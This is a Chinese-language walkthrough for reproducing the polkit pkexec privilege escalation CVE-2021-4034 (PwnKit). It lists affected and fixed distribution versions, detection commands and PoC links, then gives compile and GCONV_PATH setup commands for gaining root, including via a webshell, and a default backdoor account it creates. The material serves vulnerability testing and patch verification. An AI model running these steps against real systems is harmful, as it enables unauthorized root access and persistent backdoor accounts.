Linux Polkit 权限提升(CVE-2021-4034)

0x01 漏洞介绍

polkit 的 pkexec 实用程序中存在一个本地权限提升漏洞。当前版本的 pkexec 无法正确处理调用参数计数,并最终尝试将环境变量作为命令执行。攻击者可以通过控制环境变量来利用这一点,从而诱导 pkexec 执行任意代码。利用成功后,会导致本地特权升级,非特权用户获得管理员权限。

0x02 影响版本

  • 2009年5月至今发布的所有 Polkit 版本

注:Polkit预装在CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等多个Linux发行版上,所有存在Polkit的Linux系统均受影响。

Debain stretch policykit-1 < 0.105-18+deb9u2
Debain buster policykit-1 < 0.105-25+deb10u1
Debain bookworm, bullseye policykit-1 < 0.105-31.1

Ubuntu 21.10 (Impish Indri) policykit-1 < 0.105-31ubuntu0.1
Ubuntu 21.04 (Hirsute Hippo) policykit-1 Ignored (reached end-of-life)
Ubuntu 20.04 LTS (Focal Fossa) policykit-1 < 0.105-26ubuntu1.2)
Ubuntu 18.04 LTS (Bionic Beaver) policykit-1 < 0.105-20ubuntu0.18.04.6)
Ubuntu 16.04 ESM (Xenial Xerus) policykit-1 < 0.105-14.1ubuntu0.5+esm1)
Ubuntu 14.04 ESM (Trusty Tahr) policykit-1 < 0.105-4ubuntu3.14.04.6+esm1)

CentOS 6 polkit < polkit-0.96-11.el6_10.2
CentOS 7 polkit < polkit-0.112-26.el7_9.1
CentOS 8.0 polkit < polkit-0.115-13.el8_5.1
CentOS 8.2 polkit < polkit-0.115-11.el8_2.2
CentOS 8.4 polkit < polkit-0.115-11.el8_4.2

不受影响版本

CentOS:

CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2

Ubuntu:

Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1
Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1
Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6
Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2
Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1

Debain:

Debain stretch:policykit-1 0.105-18+deb9u2
Debain buster:policykit-1 0.105-25+deb10u1
Debain bullseye:policykit-1 0.105-31+deb11u1
Debain bookworm,bullseye:policykit-1 0.105-31.1

0x03 工具

https://github.com/arthepsy/CVE-2021-4034
https://github.com/Rvn0xsy/CVE-2021-4034

0x04 漏洞复现

4.1 漏洞检测

4.1.1 ubuntu

dpkg -l policykit-1

image-20220127094146689

4.1.2 centos

rpm -qa polkit

image-20220127094232228

4.2 漏洞利用

大多数系统上更新 polkit 将修补该漏洞,因此您将获得使用情况并且程序将退出

image-20230907142631925

4.2.1 本地提权

查看当前权限

whoami

image-20220127094648586

使用gcc编译,编译之后执行脚本

gcc cve-2021-4034-poc.c -o 111
./111


gcc test.c -o 111

image-20220127094726854

4.2.2 webshell提权

分为两种条件,目标机器上有gcc和目标机器上没有gcc,如果存在gcc,本地搭建一个和目标机器一样的系统编译即可

如果目标环境没有gcc,可手动执行命令,并在本地编译pwnkit.so。

创建利用环境 - 目标机器

mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'
mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules

编译pwnkit.so 与 pkexec - 本地

mkdir pwnkit
gcc pwnkit.so.c -o pwnkit/pwnkit.so -lcrypt -shared -fPIC
gcc pkexec.c -o pkexec

image-20221227114813743

执行Exploit

  1. 将pwnkit文件夹上传到目标机器
  2. 将pkexec上传到目标机器
  3. 执行pkexec

image-20221227114933885

默认添加用户名rooter,密码Hello@World

漏洞修复之后,提权显示这个

image-20230203123504724